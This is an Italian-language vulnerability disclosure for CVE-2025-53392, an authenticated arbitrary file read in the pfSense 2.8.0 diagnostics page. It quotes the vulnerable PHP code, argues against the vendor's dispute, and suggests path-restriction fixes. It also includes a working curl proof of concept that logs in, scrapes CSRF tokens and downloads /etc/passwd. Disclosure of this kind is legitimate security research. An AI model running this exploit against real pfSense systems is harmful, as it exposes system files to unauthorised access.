
Lettura arbitraria di file autenticata in pfSense 2.8.0 tramite l'interfaccia web di diagnostica (CVE-2025-53392)
CVE-2025-53392CWE-36 (Percorso assoluto traversal)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NSolo per scopi di test e ricerca autorizzati. Non testare o sfruttare questa vulnerabilità su sistemi che non possiedi o per i quali non hai esplicita autorizzazione.
pfSense CE 2.8.0 contiene una vulnerabilità di divulgazione di file locali nella pagina di diagnostica diag_command.php, che consente agli utenti autenticati di scaricare file arbitrari dal file system sottostante.
Questa funzionalità manca di qualsiasi sanitizzazione del percorso, restrizione di directory o controlli di accesso oltre all'assegnazione dei permessi.
La logica vulnerabile si trova nel file src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
Non ci sono controlli di sicurezza o misure di sanitizzazione applicate al parametro dlPath controllato dall'utente.
Qualsiasi percorso di file che il processo PHP può leggere verrà restituito all'utente.
Crea gruppo low-priv e assegna un singolo privilegio (WebCfg - Diagnostics: Command)

Sebbene io riconosca la presenza di un disclaimer di sicurezza per il privilegio
WebCfg - Diagnostics: Command, i disclaimer da soli non sostituiscono un solido controllo degli accessi.La frase “Allow access to the Diagnostics Command page” è ambigua e minimizza il rischio: abilita l'esecuzione di comandi root illimitati, non solo l'accesso diagnostico.
Le etichette dei privilegi in un'interfaccia web devono riflettere accuratamente la portata e la gravità delle azioni che consentono, specialmente quando espongono il controllo amministrativo completo.
Assegna il gruppo low-priv all'utente dev

Questa prova di concetto dimostra che un utente a cui è stato assegnato solo il permesso WebCfg - Diagnostics: Command può esfiltrare /etc/passwd abusando del parametro dlPath non sanitizzato.
# 1. Avvia sessione ed estrai token CSRF
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Autenticati come utente con privilegi ridotti "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Ottieni token CSRF dopo il login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Esfiltra file arbitrario (esempio: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Qualsiasi utente pfSense a cui è stato assegnato il privilegio WebCfg - Diagnostics: Command può:
Ciò viola il principio del minimo privilegio e rompe i confini logici dei privilegi.
dlPath a una directory base sicura (ad es., /tmp) usando realpath() e l'imposizione del prefisso.. o percorsi assolutiCVE-2025-53392 con tag contestato dal fornitoreMentre il fornitore afferma che l'accesso a questa pagina equivale a root, ciò confonde i permessi a livello web con l'accesso illimitato al backend.
Il privilegio dovrebbe essere tecnicamente imposto (non presunto) e gli avvisi nell'interfaccia utente non sostituiscono una progettazione sicura.
Contestando l'affermazione del fornitore che questa funzionalità sia "ben documentata" - non ho trovato alcuna menzione nella documentazione dei privilegi utente di pfSense che affermi che il permesso WebCfg - Diagnostics: Command equivalga all'accesso di livello root.

Il fornitore potrebbe essersi riferito alla pagina Diagnostics Command, che include un avviso generale sull'uso improprio.
Ma la documentazione non collega esplicitamente questa funzionalità al privilegio WebCfg - Diagnostics: Command né chiarisce che concede accesso di livello root.
Il modulo di diagnostica all'interno dell'interfaccia web di un firewall dovrebbe contenere adeguate salvaguardie per prevenire abusi contro il sistema operativo sottostante.
Questo lavoro è stato condotto al di fuori del mio impiego e riflette i miei sforzi personali nella ricerca sulla sicurezza informatica.